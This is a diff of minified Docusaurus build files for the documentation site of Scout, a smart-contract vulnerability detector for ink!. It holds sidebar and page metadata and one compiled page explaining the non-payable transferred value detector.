does","sidebar":"docsSidebar"},"detectors/lazy-values-not-set":{"id":"detectors/lazy-values-not-set","title":"Lazy values get and not set","description":"What it does","sidebar":"docsSidebar"},"detectors/non-payable-transferred-value":{"id":"detectors/non-payable-transferred-value","title":"Non payable transferred value","description":"What it does","sidebar":"docsSidebar"},"detectors/panic-error":{"id":"detectors/panic-error","title":"Panic error","description":"What it does","sidebar":"docsSidebar"},"detectors/README":{"id":"detectors/README","title":"Detectors","description":"In this section we introduce our set of detectors powered by Dylint - a Rust linting tool.","sidebar":"docsSidebar"},"detectors/reentrancy":{"id":"detectors/reentrancy","title":"Reentrancy","description":"What it does","sidebar":"docsSidebar"},"detectors/set-contract-storage":{"id":"detectors/set-contract-storage","title":"Set contract storage","description":"What it does","sidebar":"docsSidebar"},"detectors/unprotected-mapping-operation":{"id":"detectors/unprotected-mapping-operation","title":"Unprotected Mapping Operation","description":"What it does","sidebar":"docsSidebar"},"detectors/unprotected-self-destruct":{"id":"detectors/unprotected-self-destruct","title":"Unprotected self destruct","description":"What it does","sidebar":"docsSidebar"},"detectors/unprotected-set-code-hash":{"id":"detectors/unprotected-set-code-hash","title":"Unprotected set code hash","description":"What it does","sidebar":"docsSidebar"},"detectors/unrestricted-transfer-from":{"id":"detectors/unrestricted-transfer-from","title":"Unrestricted Transfer From","description":"What it does","sidebar":"docsSidebar"},"detectors/unsafe-expect":{"id":"detectors/unsafe-expect","title":"Unsafe expect","description":"What it does","sidebar":"docsSidebar"},"detectors/unsafe-unwrap":{"id":"detectors/unsafe-unwrap","title":"Unsafe unwrap","description":"What it does","sidebar":"docsSidebar"},"detectors/unused-return-enum":{"id":"detectors/unused-return-enum","title":"Unused return enum","description":"What it does","sidebar":"docsSidebar"},"detectors/vec-could-be-mapping":{"id":"detectors/vec-could-be-mapping","title":"Vec could be mapping","description":"What it does","sidebar":"docsSidebar"},"detectors/warning-sr25519-verify":{"id":"detectors/warning-sr25519-verify","title":"Warning sr25519_verify","description":"What it does","sidebar":"docsSidebar"},"detectors/zero-or-test-address":{"id":"detectors/zero-or-test-address","title":"Zero or test address","description":"What it does","sidebar":"docsSidebar"},"intro":{"id":"intro","title":"Getting Started","description":"Let\'s discover Scout in less than 5 minutes!.","sidebar":"docsSidebar"},"vulnerabilities/assert-violation":{"id":"vulnerabilities/assert-violation","title":"Assert violation","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/avoid-autokey-upgradable":{"id":"vulnerabilities/avoid-autokey-upgradable","title":"Avoid autokey upgradable","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/avoid-core-mem-forget":{"id":"vulnerabilities/avoid-core-mem-forget","title":"Avoid core::mem::forget usage","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/avoid-format-string":{"id":"vulnerabilities/avoid-format-string","title":"Avoid fromat! macro usage","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/avoid-unsafe-block":{"id":"vulnerabilities/avoid-unsafe-block","title":"Avoid Unsafe Block","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/buffering-unsized-types":{"id":"vulnerabilities/buffering-unsized-types","title":"Buffering Unsized Types","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/delegate-call":{"id":"vulnerabilities/delegate-call","title":"Delegate call","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/divide-before-multiply":{"id":"vulnerabilities/divide-before-multiply","title":"Divide before multiply","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/dont-use-instantiate-contract-v1":{"id":"vulnerabilities/dont-use-instantiate-contract-v1","title":"Don\'t use instantiate_contract_v1","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/dont-use-invoke-contract-v1":{"id":"vulnerabilities/dont-use-invoke-contract-v1","title":"Don\'t use invoke_contract_v1","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/dos-unbounded-operation":{"id":"vulnerabilities/dos-unbounded-operation","title":"DoS unbounded operation","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/dos-unexpected-revert-with-vector":{"id":"vulnerabilities/dos-unexpected-revert-with-vector","title":"DoS unexpected revert with vector","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/incorrect-exponentiation":{"id":"vulnerabilities/incorrect-exponentiation","title":"Incorrect Exponentiation","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/ink-version":{"id":"vulnerabilities/ink-version","title":"Ink! version","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/insufficiently-random-values":{"id":"vulnerabilities/insufficiently-random-values","title":"Insufficiently random values","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/integer-overflow-or-underflow":{"id":"vulnerabilities/integer-overflow-or-underflow","title":"Integer overflow or underflow","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/iterators-over-indexing":{"id":"vulnerabilities/iterators-over-indexing","title":"Iterators over indexing","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/lazy-delegate":{"id":"vulnerabilities/lazy-delegate","title":"Lazy storage on delegate","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/lazy-values-not-set":{"id":"vulnerabilities/lazy-values-not-set","title":"Lazy values not set","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/non-payable-transferred-value":{"id":"vulnerabilities/non-payable-transferred-value","title":"Non payable transferred value","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/panic-error":{"id":"vulnerabilities/panic-error","title":"Panic Error","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/README":{"id":"vulnerabilities/README","title":"Vulnerabilities","description":"This section lists relevant security-related issues typically introduced during the development of smart contracts in Substrate Ink!. While many of these issues can be generalized to Substrate-based networks, that is not always the case. The list, though non-exhaustive, features highly relevant items. Each issue is assigned a severity label based on the taxonomy presented below.","sidebar":"docsSidebar"},"vulnerabilities/reentrancy":{"id":"vulnerabilities/reentrancy","title":"Reentrancy","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/set-contract-storage":{"id":"vulnerabilities/set-contract-storage","title":"Set contract storage","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unprotected-mapping-operation":{"id":"vulnerabilities/unprotected-mapping-operation","title":"Unprotected mapping operation","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unprotected-self-destruct":{"id":"vulnerabilities/unprotected-self-destruct","title":"Unprotected Self Destruct","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unprotected-set-code-hash":{"id":"vulnerabilities/unprotected-set-code-hash","title":"Unprotected Set Code Hash","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unrestricted-transfer-from":{"id":"vulnerabilities/unrestricted-transfer-from","title":"Unrestricted Transfer From","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unsafe-expect":{"id":"vulnerabilities/unsafe-expect","title":"Unsafe expect","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unsafe-unwrap":{"id":"vulnerabilities/unsafe-unwrap","title":"Unsafe unwrap","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unused-return-enum":{"id":"vulnerabilities/unused-return-enum","title":"Unused return enum","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/vec-could-be-mapping":{"id":"vulnerabilities/vec-could-be-mapping","title":"Vec could be mapping","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/warning-sr25519-verify":{"id":"vulnerabilities/warning-sr25519-verify","title":"Warning sr25519_verify","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/zero-or-test-address":{"id":"vulnerabilities/zero-or-test-address","title":"Zero or test address","description":"Description","sidebar":"docsSidebar"}}}')}}]); \ No newline at end of file diff --git a/assets/js/935f2afb.bb00ea07.js b/assets/js/935f2afb.bb00ea07.js deleted file mode 100644 index db3f40bb..00000000 --- a/assets/js/935f2afb.bb00ea07.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[53],{1109:e=>{e.exports=JSON.parse('{"pluginId":"default","version":"current","label":"Next","banner":null,"badge":false,"noIndex":false,"className":"docs-version-current","isLast":true,"docsSidebars":{"docsSidebar":[{"type":"link","label":"Getting Started","href":"/scout/docs/intro","docId":"intro"},{"type":"category","label":"Vulnerabilities","collapsible":true,"collapsed":true,"items":[{"type":"link","label":"Integer overflow or underflow","href":"/scout/docs/vulnerabilities/integer-overflow-or-underflow","docId":"vulnerabilities/integer-overflow-or-underflow"},{"type":"link","label":"Set contract storage","href":"/scout/docs/vulnerabilities/set-contract-storage","docId":"vulnerabilities/set-contract-storage"},{"type":"link","label":"Reentrancy","href":"/scout/docs/vulnerabilities/reentrancy","docId":"vulnerabilities/reentrancy"},{"type":"link","label":"Panic Error","href":"/scout/docs/vulnerabilities/panic-error","docId":"vulnerabilities/panic-error"},{"type":"link","label":"Unused return enum","href":"/scout/docs/vulnerabilities/unused-return-enum","docId":"vulnerabilities/unused-return-enum"},{"type":"link","label":"DoS unbounded operation","href":"/scout/docs/vulnerabilities/dos-unbounded-operation","docId":"vulnerabilities/dos-unbounded-operation"},{"type":"link","label":"DoS unexpected revert with vector","href":"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector","docId":"vulnerabilities/dos-unexpected-revert-with-vector"},{"type":"link","label":"Unsafe expect","href":"/scout/docs/vulnerabilities/unsafe-expect","docId":"vulnerabilities/unsafe-expect"},{"type":"link","label":"Unsafe unwrap","href":"/scout/docs/vulnerabilities/unsafe-unwrap","docId":"vulnerabilities/unsafe-unwrap"},{"type":"link","label":"Divide before multiply","href":"/scout/docs/vulnerabilities/divide-before-multiply","docId":"vulnerabilities/divide-before-multiply"},{"type":"link","label":"Delegate call","href":"/scout/docs/vulnerabilities/delegate-call","docId":"vulnerabilities/delegate-call"},{"type":"link","label":"Zero or test address","href":"/scout/docs/vulnerabilities/zero-or-test-address","docId":"vulnerabilities/zero-or-test-address"},{"type":"link","label":"Insufficiently random values","href":"/scout/docs/vulnerabilities/insufficiently-random-values","docId":"vulnerabilities/insufficiently-random-values"},{"type":"link","label":"Unrestricted Transfer From","href":"/scout/docs/vulnerabilities/unrestricted-transfer-from","docId":"vulnerabilities/unrestricted-transfer-from"},{"type":"link","label":"Assert violation","href":"/scout/docs/vulnerabilities/assert-violation","docId":"vulnerabilities/assert-violation"},{"type":"link","label":"Avoid core::mem::forget usage","href":"/scout/docs/vulnerabilities/avoid-core-mem-forget","docId":"vulnerabilities/avoid-core-mem-forget"},{"type":"link","label":"Avoid fromat! macro usage","href":"/scout/docs/vulnerabilities/avoid-format-string","docId":"vulnerabilities/avoid-format-string"},{"type":"link","label":"Unprotected Self Destruct","href":"/scout/docs/vulnerabilities/unprotected-self-destruct","docId":"vulnerabilities/unprotected-self-destruct"},{"type":"link","label":"Iterators over indexing","href":"/scout/docs/vulnerabilities/iterators-over-indexing","docId":"vulnerabilities/iterators-over-indexing"},{"type":"link","label":"Ink! version","href":"/scout/docs/vulnerabilities/ink-version","docId":"vulnerabilities/ink-version"},{"type":"link","label":"Unprotected Set Code Hash","href":"/scout/docs/vulnerabilities/unprotected-set-code-hash","docId":"vulnerabilities/unprotected-set-code-hash"},{"type":"link","label":"Unprotected mapping operation","href":"/scout/docs/vulnerabilities/unprotected-mapping-operation","docId":"vulnerabilities/unprotected-mapping-operation"},{"type":"link","label":"Lazy storage on delegate","href":"/scout/docs/vulnerabilities/lazy-delegate","docId":"vulnerabilities/lazy-delegate"},{"type":"link","label":"Lazy values not set","href":"/scout/docs/vulnerabilities/lazy-values-not-set","docId":"vulnerabilities/lazy-values-not-set"},{"type":"link","label":"Don\'t use instantiate_contract_v1","href":"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1","docId":"vulnerabilities/dont-use-instantiate-contract-v1"}],"href":"/scout/docs/vulnerabilities/"},{"type":"category","label":"Detectors","collapsible":true,"collapsed":true,"items":[{"type":"link","label":"Integer overflow or underflow","href":"/scout/docs/detectors/integer-overflow-or-underflow","docId":"detectors/integer-overflow-or-underflow"},{"type":"link","label":"Set contract storage","href":"/scout/docs/detectors/set-contract-storage","docId":"detectors/set-contract-storage"},{"type":"link","label":"Reentrancy","href":"/scout/docs/detectors/reentrancy","docId":"detectors/reentrancy"},{"type":"link","label":"Panic error","href":"/scout/docs/detectors/panic-error","docId":"detectors/panic-error"},{"type":"link","label":"Unused return enum","href":"/scout/docs/detectors/unused-return-enum","docId":"detectors/unused-return-enum"},{"type":"link","label":"DoS unbounded operation","href":"/scout/docs/detectors/dos-unbounded-operation","docId":"detectors/dos-unbounded-operation"},{"type":"link","label":"DoS unexpected revert with vector","href":"/scout/docs/detectors/dos-unexpected-revert-with-vector","docId":"detectors/dos-unexpected-revert-with-vector"},{"type":"link","label":"Unsafe expect","href":"/scout/docs/detectors/unsafe-expect","docId":"detectors/unsafe-expect"},{"type":"link","label":"Unsafe unwrap","href":"/scout/docs/detectors/unsafe-unwrap","docId":"detectors/unsafe-unwrap"},{"type":"link","label":"Divide before multiply","href":"/scout/docs/detectors/divide-before-multiply","docId":"detectors/divide-before-multiply"},{"type":"link","label":"Delegate call","href":"/scout/docs/detectors/delegate-call","docId":"detectors/delegate-call"},{"type":"link","label":"Zero or test address","href":"/scout/docs/detectors/zero-or-test-address","docId":"detectors/zero-or-test-address"},{"type":"link","label":"Insuficciently random values","href":"/scout/docs/detectors/insufficiently-random-values","docId":"detectors/insufficiently-random-values"},{"type":"link","label":"Unrestricted Transfer From","href":"/scout/docs/detectors/unrestricted-transfer-from","docId":"detectors/unrestricted-transfer-from"},{"type":"link","label":"Assert violation","href":"/scout/docs/detectors/assert-violation","docId":"detectors/assert-violation"},{"type":"link","label":"Avoid core::mem::forget usage","href":"/scout/docs/detectors/avoid-core-mem-forget","docId":"detectors/avoid-core-mem-forget"},{"type":"link","label":"Avoid fromat! macro usage","href":"/scout/docs/detectors/avoid-format-string","docId":"detectors/avoid-format-string"},{"type":"link","label":"Unprotected self destruct","href":"/scout/docs/detectors/unprotected-self-destruct","docId":"detectors/unprotected-self-destruct"},{"type":"link","label":"Iterators over indexing","href":"/scout/docs/detectors/iterators-over-indexing","docId":"detectors/iterators-over-indexing"},{"type":"link","label":"Ink! version","href":"/scout/docs/detectors/ink-version","docId":"detectors/ink-version"},{"type":"link","label":"Unprotected set code hash","href":"/scout/docs/detectors/unprotected-set-code-hash","docId":"detectors/unprotected-set-code-hash"},{"type":"link","label":"Unprotected Mapping Operation","href":"/scout/docs/detectors/unprotected-mapping-operation","docId":"detectors/unprotected-mapping-operation"},{"type":"link","label":"Lazy storage on delegate","href":"/scout/docs/detectors/lazy-delegate","docId":"detectors/lazy-delegate"},{"type":"link","label":"Lazy values get and not set","href":"/scout/docs/detectors/lazy-values-not-set","docId":"detectors/lazy-values-not-set"},{"type":"link","label":"Don\'t use instantiate_contract_v1","href":"/scout/docs/detectors/dont-use-instantiate-contract-v1","docId":"detectors/dont-use-instantiate-contract-v1"}],"href":"/scout/docs/detectors/"},{"type":"link","label":"Contribute","href":"/scout/docs/contribute","docId":"contribute"},{"type":"link","label":"Architecture","href":"/scout/docs/architecture","docId":"architecture"}]},"docs":{"architecture":{"id":"architecture","title":"Architecture","description":"Scout is built on Trail of Bits\u2019 Dylint, featuring a new set of lints. Dylint is a static analyzer that interfaces with the Rust compiler, providing access to the High-Level Intermediate Representation and the Mid-Level Intermediate Representation. These representations enable the accurate capture of many vulnerabilities. The lints are specifically designed to detect certain vulnerability classes. They are files integrated into the tool during compilation, and adding new lints, or detectors as we call them, is straightforward for any contributor. We have also contributed to the Dylint project, enhancing its capabilities to produce outputs in various formats, including PDF reports.","sidebar":"docsSidebar"},"contribute":{"id":"contribute","title":"Contribute","description":"Thank you for your interest in contributing to the development of new detectors.","sidebar":"docsSidebar"},"detectors/assert-violation":{"id":"detectors/assert-violation","title":"Assert violation","description":"What it does","sidebar":"docsSidebar"},"detectors/avoid-core-mem-forget":{"id":"detectors/avoid-core-mem-forget","title":"Avoid core::mem::forget usage","description":"What it does","sidebar":"docsSidebar"},"detectors/avoid-format-string":{"id":"detectors/avoid-format-string","title":"Avoid fromat! macro usage","description":"What it does","sidebar":"docsSidebar"},"detectors/delegate-call":{"id":"detectors/delegate-call","title":"Delegate call","description":"What it does","sidebar":"docsSidebar"},"detectors/divide-before-multiply":{"id":"detectors/divide-before-multiply","title":"Divide before multiply","description":"What it does","sidebar":"docsSidebar"},"detectors/dont-use-instantiate-contract-v1":{"id":"detectors/dont-use-instantiate-contract-v1","title":"Don\'t use instantiate_contract_v1","description":"What it does","sidebar":"docsSidebar"},"detectors/dos-unbounded-operation":{"id":"detectors/dos-unbounded-operation","title":"DoS unbounded operation","description":"What it does","sidebar":"docsSidebar"},"detectors/dos-unexpected-revert-with-vector":{"id":"detectors/dos-unexpected-revert-with-vector","title":"DoS unexpected revert with vector","description":"What it does","sidebar":"docsSidebar"},"detectors/ink-version":{"id":"detectors/ink-version","title":"Ink! version","description":"What it does","sidebar":"docsSidebar"},"detectors/insufficiently-random-values":{"id":"detectors/insufficiently-random-values","title":"Insuficciently random values","description":"What it does","sidebar":"docsSidebar"},"detectors/integer-overflow-or-underflow":{"id":"detectors/integer-overflow-or-underflow","title":"Integer overflow or underflow","description":"What it does","sidebar":"docsSidebar"},"detectors/iterators-over-indexing":{"id":"detectors/iterators-over-indexing","title":"Iterators over indexing","description":"What it does","sidebar":"docsSidebar"},"detectors/lazy-delegate":{"id":"detectors/lazy-delegate","title":"Lazy storage on delegate","description":"What it does","sidebar":"docsSidebar"},"detectors/lazy-values-not-set":{"id":"detectors/lazy-values-not-set","title":"Lazy values get and not set","description":"What it does","sidebar":"docsSidebar"},"detectors/panic-error":{"id":"detectors/panic-error","title":"Panic error","description":"What it does","sidebar":"docsSidebar"},"detectors/README":{"id":"detectors/README","title":"Detectors","description":"In this section we introduce our set of detectors powered by Dylint - a Rust linting tool.","sidebar":"docsSidebar"},"detectors/reentrancy":{"id":"detectors/reentrancy","title":"Reentrancy","description":"What it does","sidebar":"docsSidebar"},"detectors/set-contract-storage":{"id":"detectors/set-contract-storage","title":"Set contract storage","description":"What it does","sidebar":"docsSidebar"},"detectors/unprotected-mapping-operation":{"id":"detectors/unprotected-mapping-operation","title":"Unprotected Mapping Operation","description":"What it does","sidebar":"docsSidebar"},"detectors/unprotected-self-destruct":{"id":"detectors/unprotected-self-destruct","title":"Unprotected self destruct","description":"What it does","sidebar":"docsSidebar"},"detectors/unprotected-set-code-hash":{"id":"detectors/unprotected-set-code-hash","title":"Unprotected set code hash","description":"What it does","sidebar":"docsSidebar"},"detectors/unrestricted-transfer-from":{"id":"detectors/unrestricted-transfer-from","title":"Unrestricted Transfer From","description":"What it does","sidebar":"docsSidebar"},"detectors/unsafe-expect":{"id":"detectors/unsafe-expect","title":"Unsafe expect","description":"What it does","sidebar":"docsSidebar"},"detectors/unsafe-unwrap":{"id":"detectors/unsafe-unwrap","title":"Unsafe unwrap","description":"What it does","sidebar":"docsSidebar"},"detectors/unused-return-enum":{"id":"detectors/unused-return-enum","title":"Unused return enum","description":"What it does","sidebar":"docsSidebar"},"detectors/zero-or-test-address":{"id":"detectors/zero-or-test-address","title":"Zero or test address","description":"What it does","sidebar":"docsSidebar"},"intro":{"id":"intro","title":"Getting Started","description":"Let\'s discover Scout in less than 5 minutes!.","sidebar":"docsSidebar"},"vulnerabilities/assert-violation":{"id":"vulnerabilities/assert-violation","title":"Assert violation","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/avoid-core-mem-forget":{"id":"vulnerabilities/avoid-core-mem-forget","title":"Avoid core::mem::forget usage","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/avoid-format-string":{"id":"vulnerabilities/avoid-format-string","title":"Avoid fromat! macro usage","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/delegate-call":{"id":"vulnerabilities/delegate-call","title":"Delegate call","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/divide-before-multiply":{"id":"vulnerabilities/divide-before-multiply","title":"Divide before multiply","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/dont-use-instantiate-contract-v1":{"id":"vulnerabilities/dont-use-instantiate-contract-v1","title":"Don\'t use instantiate_contract_v1","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/dos-unbounded-operation":{"id":"vulnerabilities/dos-unbounded-operation","title":"DoS unbounded operation","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/dos-unexpected-revert-with-vector":{"id":"vulnerabilities/dos-unexpected-revert-with-vector","title":"DoS unexpected revert with vector","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/ink-version":{"id":"vulnerabilities/ink-version","title":"Ink! version","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/insufficiently-random-values":{"id":"vulnerabilities/insufficiently-random-values","title":"Insufficiently random values","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/integer-overflow-or-underflow":{"id":"vulnerabilities/integer-overflow-or-underflow","title":"Integer overflow or underflow","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/iterators-over-indexing":{"id":"vulnerabilities/iterators-over-indexing","title":"Iterators over indexing","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/lazy-delegate":{"id":"vulnerabilities/lazy-delegate","title":"Lazy storage on delegate","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/lazy-values-not-set":{"id":"vulnerabilities/lazy-values-not-set","title":"Lazy values not set","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/panic-error":{"id":"vulnerabilities/panic-error","title":"Panic Error","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/README":{"id":"vulnerabilities/README","title":"Vulnerabilities","description":"This section lists relevant security-related issues typically introduced during the development of smart contracts in Substrate Ink!. While many of these issues can be generalized to Substrate-based networks, that is not always the case. The list, though non-exhaustive, features highly relevant items. Each issue is assigned a severity label based on the taxonomy presented below.","sidebar":"docsSidebar"},"vulnerabilities/reentrancy":{"id":"vulnerabilities/reentrancy","title":"Reentrancy","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/set-contract-storage":{"id":"vulnerabilities/set-contract-storage","title":"Set contract storage","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unprotected-mapping-operation":{"id":"vulnerabilities/unprotected-mapping-operation","title":"Unprotected mapping operation","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unprotected-self-destruct":{"id":"vulnerabilities/unprotected-self-destruct","title":"Unprotected Self Destruct","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unprotected-set-code-hash":{"id":"vulnerabilities/unprotected-set-code-hash","title":"Unprotected Set Code Hash","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unrestricted-transfer-from":{"id":"vulnerabilities/unrestricted-transfer-from","title":"Unrestricted Transfer From","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unsafe-expect":{"id":"vulnerabilities/unsafe-expect","title":"Unsafe expect","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unsafe-unwrap":{"id":"vulnerabilities/unsafe-unwrap","title":"Unsafe unwrap","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/unused-return-enum":{"id":"vulnerabilities/unused-return-enum","title":"Unused return enum","description":"Description","sidebar":"docsSidebar"},"vulnerabilities/zero-or-test-address":{"id":"vulnerabilities/zero-or-test-address","title":"Zero or test address","description":"Description","sidebar":"docsSidebar"}}}')}}]); \ No newline at end of file diff --git a/assets/js/93b073d4.3fd9e895.js b/assets/js/93b073d4.3fd9e895.js new file mode 100644 index 00000000..c2f9662a --- /dev/null +++ b/assets/js/93b073d4.3fd9e895.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[9243],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>m});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var s=r.createContext({}),c=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=c(e.components);return r.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,s=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=c(n),f=a,m=u["".concat(s,".").concat(f)]||u[f]||d[f]||o;return n?r.createElement(m,i(i({ref:t},p),{},{components:n})):r.createElement(m,i({ref:t},p))}));function m(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,i=new Array(o);i[0]=f;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[u]="string"==typeof e?e:a,i[1]=l;for(var c=2;c{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>c});var r=n(2564),a=(n(9496),n(9613));const o={},i="Non payable transferred value",l={unversionedId:"detectors/non-payable-transferred-value",id:"detectors/non-payable-transferred-value",title:"Non payable transferred value",description:"What it does",source:"@site/docs/detectors/30-non-payable-transferred-value.md",sourceDirName:"detectors",slug:"/detectors/non-payable-transferred-value",permalink:"/scout/docs/detectors/non-payable-transferred-value",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/30-non-payable-transferred-value.md",tags:[],version:"current",sidebarPosition:30,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid AutoKey Upgradable",permalink:"/scout/docs/detectors/avoid-autokey-upgradable"},next:{title:"Vec could be mapping",permalink:"/scout/docs/detectors/vec-could-be-mapping"}},s={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Implementation",id:"implementation",level:3}],p={toc:c},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"non-payable-transferred-value"},"Non payable transferred value"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"Warns about the usage of ",(0,a.kt)("inlineCode",{parentName:"p"},"self.env().transferred_value()")," in non-",(0,a.kt)("inlineCode",{parentName:"p"},"payable")," functions."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,(0,a.kt)("inlineCode",{parentName:"p"},"self.env().transferred_value()")," will always return ",(0,a.kt)("inlineCode",{parentName:"p"},"0")," in non-",(0,a.kt)("inlineCode",{parentName:"p"},"payable")," functions. If ",(0,a.kt)("inlineCode",{parentName:"p"},"transferred_value()")," is needed, the function should have ",(0,a.kt)("inlineCode",{parentName:"p"},"#[ink(..., payable)]")," "),(0,a.kt)("h4",{id:"more-info"},"More info"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://docs.rs/ink/latest/ink/struct.EnvAccess.html#method.transferred_value"},"https://docs.rs/ink/latest/ink/struct.EnvAccess.html#method.transferred_value"))),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/non-payable-transferred-value"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/9e2d31f4.ede5726f.js b/assets/js/9e2d31f4.763a4bae.js similarity index 80% rename from assets/js/9e2d31f4.ede5726f.js rename to assets/js/9e2d31f4.763a4bae.js index 9d93f995..75d14526 100644 --- a/assets/js/9e2d31f4.ede5726f.js +++ b/assets/js/9e2d31f4.763a4bae.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4417],{9613:(e,t,r)=>{r.d(t,{Zo:()=>c,kt:()=>h});var n=r(9496);function a(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function i(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function s(e){for(var t=1;t=0||(a[r]=e[r]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(a[r]=e[r])}return a}var l=n.createContext({}),d=function(e){var t=n.useContext(l),r=t;return e&&(r="function"==typeof e?e(t):s(s({},t),e)),r},c=function(e){var t=d(e.components);return n.createElement(l.Provider,{value:t},e.children)},u="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,a=e.mdxType,i=e.originalType,l=e.parentName,c=o(e,["components","mdxType","originalType","parentName"]),u=d(r),m=a,h=u["".concat(l,".").concat(m)]||u[m]||p[m]||i;return r?n.createElement(h,s(s({ref:t},c),{},{components:r})):n.createElement(h,s({ref:t},c))}));function h(e,t){var r=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=r.length,s=new Array(i);s[0]=m;var o={};for(var l in 